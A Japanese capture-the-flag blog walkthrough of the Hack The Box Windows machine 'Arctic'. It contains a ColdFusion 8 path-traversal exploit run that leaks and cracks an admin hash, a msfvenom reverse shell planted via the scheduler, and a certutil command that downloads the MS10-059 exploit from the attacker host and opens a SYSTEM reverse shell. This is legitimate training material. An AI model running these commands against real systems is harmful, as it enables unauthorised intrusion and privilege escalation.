HTB arctic [windows]
今回はHTBのwindowsマシン arcticやってきました。
nmap
kali@kali:~/htb/hkb/arctic/nma$ nmap -A -Pn 10.10.10.11 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-08 08:42 EDT Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 0.65% done Stats: 0:01:22 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 66.67% done; ETC: 08:44 (0:00:34 remaining) Nmap scan report for 10.10.10.11 Host is up (0.18s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 8500/tcp open fmtp? 49154/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 152.82 seconds
8500
coldfusionというサービスを発見した。このエクスプロイトについて検索する。
すると、パストラバーサルの脆弱性に関するエクスプロイトがあるらしい。そして、coldfusionのエクスプロイトコード(パストラバーサル)を実行してパスワードを獲得する。その結果ハッシュ化されたパスワードを獲得することができた。
kali@kali:~/htb/hkb/arctic/coldfusion$ python 14641.py 10.10.10.11 8500 ../../../../../../../lib/password.properties ------------------------------ trying /CFIDE/wizards/common/_logintowizard.cfm title from server in /CFIDE/wizards/common/_logintowizard.cfm: ------------------------------ #Wed Mar 22 20:53:51 EET 2017 rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP \n password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03 encrypted=true ------------------------------ ------------------------------ trying /CFIDE/administrator/archives/index.cfm title from server in /CFIDE/administrator/archives/index.cfm: ------------------------------ #Wed Mar 22 20:53:51 EET 2017 rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP \n password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03 encrypted=true ------------------------------ ------------------------------ trying /cfide/install.cfm title from server in /cfide/install.cfm: ------------------------------ #Wed Mar 22 20:53:51 EET 2017 rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP \n password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03 encrypted=true ------------------------------ ------------------------------ trying /CFIDE/administrator/entman/index.cfm title from server in /CFIDE/administrator/entman/index.cfm: ------------------------------ #Wed Mar 22 20:53:51 EET 2017 rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP \n password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03 encrypted=true ------------------------------ ------------------------------ trying /CFIDE/administrator/enter.cfm title from server in /CFIDE/administrator/enter.cfm: ------------------------------ #Wed Mar 22 20:53:51 EET 2017 rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP \n password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03 encrypted=true ------------------------------
ハッシュの種類特定については、下記のようなサイト等を利用した。このパスワードのハッシュがsha1と出てきました。
(追記)kali linuxにもハッシュの種類を調べるツールがあるらしいですね。https://allabouttesting.org/hash-identifier-usage-in-kali-linux/
こっちの方はコマンドラインで完結するので、ブラウザ開くより早く解析できそうですね
sha-1と確認したハッシュ値に対して,hashcatを利用して辞書攻撃を行った。
hashcat -m 100 hash /usr/share/wordlist/rockyou.txt --force
2f635f6d20e3fde0c53075a84b68fb07dcec9b03:happyday Session..........: hashcat Status...........: Cracked Hash.Type........: SHA1 Hash.Target......: 2f635f6d20e3fde0c53075a84b68fb07dcec9b03 Time.Started.....: Fri May 8 00:32:08 2020 (0 secs) Time.Estimated...: Fri May 8 00:32:08 2020 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 23509 H/s (1.14ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 6144/14344385 (0.04%) Rejected.........: 0/6144 (0.00%) Restore.Point....: 4096/14344385 (0.03%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: newzealand -> iheartyou
先の結果から、ハッシュ値の値がhappydayという事が分かったので、
coldfusion8のログイン画面でadmin:happydayと入れてログイン\(^_^)/
ログインしてから、適当にファイルアップロード機能とコマンド実行機能が無いか軽く探したが見つけられなかったので、この画面からの攻撃方法を調べてみた。すると、スケジュールを設定できる項目があり、そこからkaliにあるファイルをダウンロードできるということが分かった。
ログインしてからリバースシェルを仕掛けるまでの動きは下記の動画を参考にした。
動画の内容は、msfvenomで作成したリバースシェルをダウンロードして、指定のディレクトリにアウトプットするという物
あとは、ブラウザでそのパスにアクセスして着火させればよい。
ドンピシャでいけました!
https://www.youtube.com/watch?v=NRMhZ3tofpM
kali@kali:~$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.40] from (UNKNOWN) [10.10.10.11] 49469 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\ColdFusion8\runtime\bin>cd %USERPROFILE% cd %USERPROFILE% C:\Users\tolis\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is F88F-4EA5 Directory of C:\Users\tolis\Desktop 22/03/2017 10:00 �� <DIR> . 22/03/2017 10:00 �� <DIR> .. 22/03/2017 10:01 �� 32 user.txt 1 File(s) 32 bytes 2 Dir(s) 33.180.917.760 bytes free C:\Users\tolis\Desktop>type user.txt type user.txt <kotae>
権限昇格
systeminfoの出力をkaliにコピーしてきて、windows exploit suggesterを使用する。
AonCyberLabs/Windows-Exploit-Suggester
kali@kali:~/htb/hkb/arctic/shell$ cat exploit-suggester [*] initiating winsploit version 3.3... [*] database file detected as xls or xlsx based on extension [*] attempting to read from the systeminfo input file [+] systeminfo input file read successfully (utf-8) [*] querying database file for potential vulnerabilities [*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits [*] there are now 197 remaining vulns [+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin [+] windows version identified as 'Windows 2008 R2 64-bit' [*] [M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical [M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important [E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical [*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC [*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC [*] [E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important [M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important [M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical [E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important [E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important [M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical [M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical [*] done
詰まない限りmetasploitは使わないので、[E]のみを利用していく。 一番上の[E]は、違うものっぽいのでとりあえずスルーします。
[E] MS11-011
[E] MS10-059
[E] MS10-047 権限昇格できそうな三つを上から順で確かめていくことにした。
MS11-011のエクスプロイトコードがうまく使えなかった。
次に MS10-059のエクスプロイトコードを試す。
https://github.com/egre55/windows-kernel-exploits/tree/master/MS10-059: Chimichurri/Compiled
そしてダウンロードしたファイルを仕様どうり実行してみる。
あと実はここでめちゃくちゃ躓いていた…
Exeが実行できなくて何故だと思って、
Kali側でcatしたらexeファイルがhtmlだったという事故を起こしていた…
ちゃんとダウンロード先確認しよう(自戒)
C:\ColdFusion8\runtime\bin>certutil.exe -urlcache -split -f http://10.10.14.40/Chimichurri.exe exploit3.exe certutil.exe -urlcache -split -f http://10.10.14.40/Chimichurri.exe exploit3.exe **** Online **** 000000 ... 0bf800 CertUtil: -URLCache command completed successfully. C:\ColdFusion8\runtime\bin>exploit3.exe 10.10.14.40 4445 exploit3.exe 10.10.14.40 4445 /Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Changing registry values...<BR>/Chimichurri/-->Got SYSTEM token...<BR>/Chimichurri/-->Running reverse shell...<BR>/Chimichurri/-->Restoring default registry values...<BR> C:\ColdFusion8\runtime\bin>
kali側からエクスプロイトコードをダウンロードして、kali側にて待ち受ける。
kali@kali:~$ nc -nlvp 4445 listening on [any] 4445 ... connect to [10.10.14.40] from (UNKNOWN) [10.10.10.11] 49856 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\ColdFusion8\runtime\bin>sysinfo sysinfo 'sysinfo' is not recognized as an internal or external command, operable program or batch file. C:\ColdFusion8\runtime\bin>whoami whoami nt authority\system C:\ColdFusion8\runtime\bin>cd /Users cd /Users C:\Users>dir dir Volume in drive C has no label. Volume Serial Number is F88F-4EA5 Directory of C:\Users 22/03/2017 10:00 �� <DIR> . 22/03/2017 10:00 �� <DIR> .. 22/03/2017 09:10 �� <DIR> Administrator 14/07/2009 07:57 �� <DIR> Public 09/05/2020 04:40 �� <DIR> tolis 0 File(s) 0 bytes 5 Dir(s) 33.181.630.464 bytes free C:\Users>cd Administrator cd Administrator C:\Users\Administrator>cd Desktop cd Desktop C:\Users\Administrator\Desktop>type root.txt type root.txt <kotae> C:\Users\Administrator\Desktop>
今回はエクスプロイトの過程を解説してくれている動画を見つけてしまったので、大事な部分がすぐに終わってしまった気がします。 中々ないパターンだと思うので今回は良しとしたいと思います(笑) またBOX全体を通してみて、今までの復習のようなことが出来たので大変良かったと思います。 しかしながらダウンロード先間違えてて、時間食ったのは辛かった。
最後に
海外のエクスプロイトやっている人やOSCP合格した人のブログとか読んでいると、同じような機能のツールでも何種類も使っているように見受けられるので、次にwindowsマシンを攻略するときは windows suggester以外のツールも使用してみようと思ってます。 おすすめのツールやコメント等ありましたら、ブログにコメントやtwitterにDMを飛ばして頂けると有り難いです!